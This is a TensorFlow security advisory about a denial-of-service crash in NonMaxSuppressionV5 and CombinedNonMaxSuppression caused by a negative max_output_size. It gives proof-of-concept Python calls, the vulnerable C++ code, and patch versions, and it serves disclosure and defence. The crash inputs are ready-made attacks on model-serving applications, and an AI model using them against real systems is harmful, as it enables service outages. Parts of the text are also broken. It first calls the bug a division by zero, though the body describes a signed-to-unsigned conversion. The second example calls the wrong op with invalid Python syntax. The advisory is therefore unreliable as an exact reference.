An attacker can cause denial of service in applications serving models using tf.raw_ops.NonMaxSuppressionV5
by triggering a division by 0:
import tensorflow as tf
tf.raw_ops.NonMaxSuppressionV5(
boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],
scores=[1.0,2.0,3.0],
max_output_size=-1,
iou_threshold=0.5,
score_threshold=0.5,
soft_nms_sigma=1.0,
pad_to_max_output_size=True)
The implementation uses a user controlled argument to resize a std::vector
:
const int output_size = max_output_size.scalar<int>()();
// ...
std::vector<int> selected;
// ...
if (pad_to_max_output_size) {
selected.resize(output_size, 0);
// ...
}
However, as std::vector::resize
takes the size argument as a size_t
and output_size
is an int
, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash.
A similar issue occurs in CombinedNonMaxSuppression
:
import tensorflow as tf
tf.raw_ops.NonMaxSuppressionV5(
boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]],
scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]],
max_output_size_per_class=-1,
max_total_size=10,
iou_threshold=score_threshold=0.5,
pad_per_class=True,
clip_boxes=True)
We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
{ "nvd_published_at": "2021-08-12T23:15:00Z", "cwe_ids": [ "CWE-681" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2021-08-24T14:21:16Z" }